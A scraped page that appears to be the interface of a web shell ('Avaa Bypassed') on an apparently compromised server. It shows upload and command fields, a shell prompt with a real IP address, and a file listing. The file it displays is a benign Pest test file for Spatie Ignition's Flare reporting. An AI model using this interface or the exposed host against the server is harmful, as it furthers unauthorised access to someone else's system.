404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.188.162.87: ~ $
<?php

use Spatie\FlareClient\Flare;
use Spatie\FlareClient\Http\Client;
use Spatie\Ignition\Ignition;
use Spatie\Ignition\Tests\Mocks\FakeFlare;

beforeEach(function () {
    $this->ignition = Ignition::make();

    $this->ignition->shouldDisplayException(false);

    $client = new Client();

    $this->flare = new FakeFlare($client);

    $this->ignition->setFlare($this->flare);
});

it('will not send an exception to flare when no api key is set', function () {
    $exception = new Exception();

    $this->ignition->handleException($exception);

    expect($this->flare->sentReports)->toHaveCount(0);
});

it('will send an exception to flare when an api key is set on ignition', function () {
    $exception = new Exception();

    $this->ignition
        ->sendToFlare('fake-api-key')
        ->handleException($exception);

    expect($this->flare->sentReports)->toHaveCount(1);
});

it('will send an exception to flare when an api key is set on flare', function () {
    $exception = new Exception();

    $this->ignition
        ->configureFlare(function (Flare $flare) {
            $flare->setApiToken('fake-api-token');
        })
        ->handleException($exception);

    expect($this->flare->sentReports)->toHaveCount(1);
});

Filemanager

Name Type Size Permission Actions
Config Folder 0755
Mocks Folder 0755
Solutions Folder 0755
TestClasses Folder 0755
stubs Folder 0755
temp Folder 0755
ErrorPageViewModelTest.php File 589 B 0644
FlareTest.php File 1.26 KB 0644
IgnitionTest.php File 3.65 KB 0644
IntegrationTest.php File 1.34 KB 0644
Pest.php File 419 B 0644